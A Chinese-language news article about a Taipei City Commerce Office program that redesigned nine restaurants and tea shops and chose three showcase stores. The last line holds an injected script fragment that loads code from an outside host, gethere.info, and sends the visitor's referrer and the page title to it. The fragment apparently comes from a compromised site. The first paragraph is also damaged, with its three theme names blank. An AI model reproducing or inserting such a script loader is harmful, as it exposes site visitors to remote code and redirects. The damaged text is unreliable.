為協助台北市餐飲業者品牌經營能力提升,台北市商業處持續推動美食店家再造,今年度輔導9家店家以「」、「」與「」三大主軸進行再造,成為美食設計型店,以嶄新的樣貌邀請消費者來體驗。

台北市商業處處長蔡宗雄表示,去年度首次推動美食店家再造,成功協助5家微型店家轉型升級並打造品牌形象。今年度擴大輔導規模,針對籌謀轉型的餐飲老字號、二代接班、特色潛力新秀及轉戰本市開拓新據點的店家進行再造輔導。為提升消費者對美食的全感體驗,今年度更強化設計面的投入,期待重新打造傳達品牌定位及精神的店面空間。

今年度設計型店的9家店家包含台記家傳手勁麵、三味食堂、四蔬五莖x穀感烘焙、百草三味、李雪辣嬌、枝仔冰城、嘉義紅心甜品、遊茶及豐盛號,他藉由本次輔導再造,融合其特色並各自演繹店家發展歷史與品牌精神,淬煉出「傳揚料理精神」、「突破自我界限」與「創新好感體驗」三大主軸。

另外,為鼓勵美食餐飲店家結合品牌思維與精神,勇於參與改造自我提升,台北市商業處特別針對美食設計型店改造前後的風貌進行選拔,經過評審們實地評審,最後由枝仔冰城、遊茶及台記家傳手勁麵脫穎而出獲得殊榮,將以美食設計型店示範店家為台北市餐飲業創造行銷亮點。

其中遊茶重新進行店內空間及店外形象牆的改裝,以芽綠與醬紅兩色的漸層混搭進行整體色調的設計,呈現出頂級茶葉葉片鑲紅邊之特性,轉喻「綠葉心法」的精髓,重新完整凸顯了品牌定位,成功傳達創辦人沈宜靜小姐獨到的「飲茶、隱茶、癮茶」精神。s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + “;